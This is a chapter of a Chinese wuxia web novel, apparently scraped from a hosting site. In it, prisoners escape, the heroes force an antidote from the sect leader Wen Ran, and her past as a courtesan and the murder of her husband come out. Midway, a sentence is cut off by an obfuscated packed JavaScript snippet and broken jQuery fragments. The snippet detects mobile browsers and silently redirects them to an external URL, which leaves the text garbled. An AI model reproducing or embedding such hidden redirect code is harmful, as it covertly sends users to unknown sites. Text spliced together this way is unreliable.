只此人间不见花开

36. 人间24

兄弟二人费了好大的工夫才将身上的铁链挣脱,开始四处寻找能够出去的办法,可是沿着墙壁找了半天,什么都没有找到。


秦牧道:“别白费功夫了,机关在外面呢,你们出不去的。”


“那怎么办?”沐辰风哭丧着脸道,“总不能就这样等死吧?我还年轻,我不想死,呜呜呜……”


沐灵泽趴在铁墙上朝外望去,但由于通风口太小,视野太过狭窄,他什么都没有看到,只看到对面也是铁墙。


就在他放弃挣扎,打算乖乖等死之时,忽然,铁墙“哗”的一声开始颤动了起来,吓得他立刻将手从墙上移开,并朝后连退好几步。


“怎么回事?”沐辰风赶忙溜到沐灵泽身后躲了起来,“这墙怎么还会动啊?”


沐灵泽道:“废话,当然会动了,不然我们是怎么进来的?”


沐辰风:“……”


当然是被人打晕扔进来的呗。


兄弟二人一动不动地看着面前那道铁墙缓缓升起,缓缓地露出了墙外那人白色的靴子,素色的衣衫,最后终于缓缓地露出了那人的脸——青黛!


沐灵泽皱着眉头道:“青黛姐姐?”


沐辰风道:“你你你……你们又想干嘛?”


不会现在就要把他们拖出去炼丹吧?不过话说怎么只有她一个人?


怎料青黛并不想理会他们,扔下一句:“你们快走吧,快去救柳公子他们。”便朝旁边走去,按下了机关。


不多时,秦牧也迈出了铁牢,一脸震惊地看着青黛:“青黛,你……”


不等秦牧说话,青黛就急急忙忙道:“秦叔,庄主她已经疯了,她连少主的性命都不顾了,你快去劝劝她吧!再这样下去,百草山庄就彻底完了!”


“那你怎么办?”秦牧睁大眼睛道,“你不是说那个毒妇给你们下了毒么?你放我们走,那你呢?”


“什么?!”早已在旁恭候多时的沐灵泽听闻此话,惊讶万分道,“温庄主给你们下了毒?!”


青黛道:“对,整个百草山庄,除了少主和辛姐姐,还有秦叔,庄主她给每个人都下了毒,如果我们敢背叛她,她就会让我们痛不欲生。”


沐灵泽道:“那你放了我们,你岂不是……”


“没时间了,快走!边走边说!”青黛抓着秦牧就往地牢外跑去,兄弟二人紧随其后。


原来方才温染给了杨冲一耳光,让他死一边时,青黛就对旁边的半夏几人撒谎说自己肚子疼,借机跑了。


她不能眼睁睁地看着杨冲去送死,以他那讲义气的性子,指不定真的甘愿为柳惜朝赴死。她也不能再看温染继续错下去,早晚有一天会遭报应的。


秦牧火急火燎地往这边赶来,还没到跟前,就瞥见杨冲为了保护柳惜朝,胳膊上挨了一剑。


秦牧吓得脸都白了:这可是他大哥唯一的骨血!


他当即便施展轻功到众人跟前,大声吼道:“住手!都给我住手!!”


所有人都被秦牧这一嗓子吼得立在了原地。


杨冲愕然道:“秦叔?!你怎么在这儿?!你不是……”


“沐灵泽沐辰风!”洛纤凝万万没想到这两人不仅没被炼成丹,还生龙活虎的。她也顾不上自己胳膊上被闻辛砍过的伤了,欢天喜地叫道:“你们两个没死啊?!吓死我了!”


兄弟俩奔了过来,沐灵泽道:“洛纤凝,你受伤了?还有大师兄和林师姐,你们还好么?”


“现在不是说这个的时候!”洛纤凝伸出一只手,将沐灵泽的脑袋摁了过来,悄悄摸摸地同他说起了什么,沐辰风见状,十分自觉地凑了过去。


见到秦牧,温染也很是震惊,但很快,她就明白了过来。她眉心一蹙,厉声道:“青黛!你竟然敢背叛我!!”


青黛躲在秦牧身后,闻言,鼓起勇气道:“庄主!您不能再错下去了!这两年来,每当我闭上眼睛,就总能梦见那些被我们害死的孩子!庄主,我求您了,您就放过我们吧!再这样下去,我们会遭天打雷劈的!”


“什么天打雷劈,我才不信!”温染恨得已是睚眦欲裂,“辛儿,给我杀了她!背叛我的人,都得死!!”


闻辛立刻照做,软剑顷刻间就朝青黛使去,却被秦牧出手拦住。


秦牧横剑挡在二人中间,语重心长地劝道:“辛儿!别再执迷不悟了!你到底知不知道你们在做什么?!”


“我知道!”闻辛挥剑挑开秦牧的攻击,声音铿锵有力,“义母就算把整个乌县的人全都杀光,我也不会觉得她有错!”


“你!”秦牧怒极,但即便如此,他还是不舍得对闻辛下重手,再加上他已年过四十,就更不是闻辛的对手了。


不过幸好还有青黛。


青黛冲了过来,对秦牧道:“秦叔!我来帮你!”


闻辛被左右夹击的场面正好落入洛纤凝的眼中,洛纤凝知道机会来了,遂赶忙对沐灵泽道:“擒贼先擒王,沐灵泽,就是现在!”


话音落,二人飞身就朝台阶上的温染掠去,沐辰风则趁机拖住其他弟子。


余光瞥见洛纤凝朝自己飞来,温染瞬间慌得手足无措,幸好她身侧还有半夏、白芷和茯苓三人,将她挡得严严实实。


沐灵泽负责引开白芷和茯苓,洛纤凝则与半夏缠斗了起来。凌云剑狠狠地击打在半夏的剑刃上,半夏很快就招架不住了,然而洛纤凝此刻也已精疲力尽。她不再恋战,作势要刺半夏的要害,实则趁机朝后一退,闪身至温染身侧,一把抓住她的肩膀,将长剑架在了她的脖颈前。


“都住手!”洛纤凝大喝道。


闻辛一掌将秦牧劈去一边,回身一看,登时大惊失色:“义母!!!”


洛纤凝盯着温染的后脑勺,威胁道:“温庄主,把解药交出来,否则我现在就杀了你!”


“不要伤我娘!洛妹妹!不要伤我娘!”杨冲掀开众弟子跑上前来,用恳求的目光看着洛纤凝。


洛纤凝怎能无动于衷,毕竟温染是杨冲的母亲,她当然不会真的杀她了,她只想要解药。


温染似乎知道洛纤凝在想什么,笑得有恃无恐:“都别管我!她不敢杀我!”


“是么?”洛纤凝一听这话,一下就来劲了。她右手往上,将冰冷的剑身贴在温染的脸上,挑衅道:“那如果我划烂你的脸,你也觉得我不敢么?!”


温染顿时变色,但仍故作镇静道:“此毒没有解药,你就算把我的脸划烂也没有!”


这人真是不见棺材不落泪。思忖片刻后,洛纤凝微微笑道:“哦,这样啊,那我就只能用你的脸试一试了,看看到底有没有解药。”又转向杨冲,疾言厉色道:“杨大哥,你不要怪我,你娘她都要杀我们了,我不杀她,已经格外大方了!”


说罢长剑一横,作势就要划温染的脸,就听闻辛喊道:“不要伤我义母!解药在我这儿!!”


“……早说不就没事了么?”洛纤凝在心中长出了一口气,将剑移回了原位。


闻辛十分不情愿地从怀中拿出了解药,扔给了柳惜朝。


洛纤凝依旧挟持着温染,一动都敢不动,直到看见林惜英和柳惜朝服下解药,良久之后行动自如,心弦才终于一松,一掌推开了温染。


闻辛立即朝温染扑了过来,生怕她再出什么意外。


沐灵泽也立即朝洛纤凝扑了过来,抓住她的胳膊道:“没事吧?你看看你的脸色,快休息一会儿,我保护你!”


温染简直被洛纤凝给气个半死,指着洛纤凝和沐灵泽道:“给我杀了他们!还有这个逆子!也一块儿给我杀了!!”


刚才洛纤凝要划她的脸,这个逆子竟然一点都不拦着!


秦牧没料到温染竟狠心至此,扯开嗓子朝温染大骂道:“温染!你这个毒妇!果然,娼妓无情啊!你竟然连自己的亲生儿子都下得去手!你简直丧尽天良啊!”


此话一出,满座皆惊,众弟子更是面面相觑,举剑不动。


他们方才听到了什么?娼妓?温染是娼妓出身?这可真是闻所未闻!


杨冲更是震惊得无以复加。他拔腿就朝秦牧跑了过去,目光狠厉道:“秦叔,你方才说什么?什么娼妓?你怎能如此辱骂我娘?!”


虽然温染口口声声说要连他一块儿杀,但他了解她,她只是气极了,口不择言罢了。他绝不能容忍有人如此辱骂自己的母亲,更何况这人还是从小教自己武功的秦叔。


秦牧叹了口气,道:“冲儿,我并未辱骂你娘,而是你娘她本来就是个娼妓!”


杨冲都快疯了,这么多人都在盯着他和温染看,他感觉自己的脸面,自己的尊严,在此刻荡然无存!


他不敢想象以后从那些弟子面前走过,他们会在心里怎样嘲笑他!


“你在胡说八道什么?!我娘她是大家闺秀!她怎么可能会是你口中的娼妓?!你立刻向我娘道歉!!”


他还是不愿相信,他迫切地希望秦牧能改口,可秦牧恨都恨死温染了,哪还有改口的道理。


秦牧看着眼前这个自己一手教大的天之骄子,最终还是没能忍住,神色肃然道:“什么大家闺秀?冲儿,你娘她从前的的确确就是个娼妓!是你父亲为她赎的身,可她却恩将仇报,亲手杀死了你父亲!如今倒好,连我也不放过,给我下毒,把我关在地牢里,甚至还想杀了我!是她无情无义在先,我也没必要给她留脸面了!”


话音落,众弟子越发吃惊了:杨开竟是温染杀的?他不是试药的时候把自己给毒死的么?不仅如此,温染还想杀秦牧?整个百草山庄谁人不知秦牧对温染一片真心,只是碍于叔嫂的身份始终没能光明正大地在一起。


“不可能!这不可能


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086330|166943||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


!”杨冲嘶声裂肺地喊道,“我娘她不是这样的人!她怎么可能会杀我爹?!我又怎么可能……”


怎么可能会是一个娼妓的儿子!


他奔到温染面前,抓住她的肩膀,几近疯狂地问道:“娘,你告诉我,秦叔他说的不真的,他在骗我对不对?!”


他多希望温染会立刻回答他,这一切都是假的,是秦牧在骗他,可是他等了许久,都未曾听到温染的回答。


温染双目紧闭,脸色已是要多难看有多难看,估计这辈子都没有这么难看过。


众人见她一副摇摇欲坠,随时要晕过去的样子,便知秦牧所言非虚。


再去看闻辛,眼中毫无震惊,唯有温染,好像从一开始就知道温染的身世,以及温染干过的这些坏事。


她一只手握着剑,一只手紧紧地抓着温染的胳膊,满眼都是担忧:“义母,事已至此,告诉他们又何妨,没什么好丢人的。”


温染这才睁开了眼睛。


也许除了闻辛,没有人会知道她此刻的心情如何,就像陈年的伤疤好不容易才愈合,时隔多年,又重新被人撕开,暴露在大庭广众之下。


不,暴露的又岂止是她的伤疤,而是她的整个身体!她的全部!


杨冲还在继续大喊着:“娘!你说话啊!我爹到底是不是你杀的?!你到底是不是……你不是说你出身大户人家,后来家里败落了,一路流亡至此,才嫁给我爹的么?!你说话啊!你为什么要骗我说你是大家闺秀?!你为什么要把我生下来?!为什么要让我成为一个笑话?!为什么?!!”


然而温染还是没有说话,一双漂亮的丹凤眼在此刻风采尽失,唯余愤怒,伤心,失望,和困惑。


她用这种诸多要素混杂在一起的目光看着自己养育了整整二十年的儿子,亲生儿子,不敢相信这话竟是从他口中而出。但她没料到,与她复杂目光一起到来的,还有闻辛的一个耳光。


闻辛一个耳光甩在了杨冲的脸上,声音之大,令在场之人皆是一怔。


“……辛姐姐?你打我做……”


话未说完,又是一个耳光,比方才的更加响亮。


杨冲彻底不说话了。他捂着自己被打红的脸颊,双眼含泪,目不斜视地盯着闻辛,等待着她接下来要训斥自己的话,可是足足半晌过去了,都不见她张口。


母亲,养女,儿子,三个人就这样杵在原地动也不动地凝望着彼此,好长时间过去了,谁都没有说话。谁都知道彼此的心里在想什么,但谁都没有拆穿。


良久之后,杨冲踉跄着朝后退去,没退几步便瘫倒在地,像个孩子一样嚎啕大哭了起来。


他从未被母亲和辛姐姐用这种眼神审视过,失望,绝望,就好像他犯了什么弥天大错一样。


闻辛这时才张开了口,她直视着秦牧,像审问犯人一般,掷地有声道:“我义母即便是青楼女子,那又如何?!她被自己贪财的父亲卖去了青楼,这难道是她的错么?!不,这不是她的错,错的是她的父亲,是这个不公的世道!秦叔,你实在不该于大庭广众之下揭我义母的伤疤!从今往后,我闻辛再也没有你这个师父!”


又转向杨冲,恨铁不成钢道:“杨冲,你以为你爹是什么好东西!他是为义母赎了身不假,可他与义母成婚后不久,就开始嫌弃义母的出身,觉得义母是青楼女子,不配做他的夫人!这些义母都可以忍,因为义母还有你!可是后来,他竟听信谣言,觉得你不是他的亲生儿子!你说,这教义母如何忍得了?!是他先负了义母,是他先与别的女子眉来眼去,还动辄对义母拳脚相加!义母杀他,是他罪有应得!即便义母不杀他,终有一日,我也一定会手刃他!”


“可是……可是他再怎么说也是我爹啊!”杨冲泪眼朦胧地望着闻辛,替自己死去多时的父亲申冤道,“他是有错,可他罪不至死啊!”


闻辛三两步来到杨冲面前,抓住他的衣襟,将他从地上拎了起来,目光宛若利刃:“你可知幼时,每一次义母被那个混蛋痛打之前,都会让我将你带去偏僻之处,可是你呢?杨冲,你是怎么做的?!你在听闻义母身世之时,第一反应不是心疼自己的母亲,而是觉得她的身世给你带来了耻辱!你不配,杨冲,你不配做义母的儿子!!”


一番言语,字字珠玑,句句在理,令杨冲实在无言反驳。


他觉得自己这辈子再也无颜面对母亲了。


闻辛一个义女尚能如此心疼母亲,可他作为母亲的亲生儿子,却没能做到这一点。


他想狡辩些什么,可闻辛再也没有耐心与他多说一个字,一掌推出,他便狠狠地摔倒在了地上。


“冲儿!”秦牧赶忙上前两步,一边将杨冲扶起,一边对闻辛道:“辛儿!你这是做什么?!你若当真为了你义母好,就赶紧劝她随我们去见官!不要逼我们来硬的!”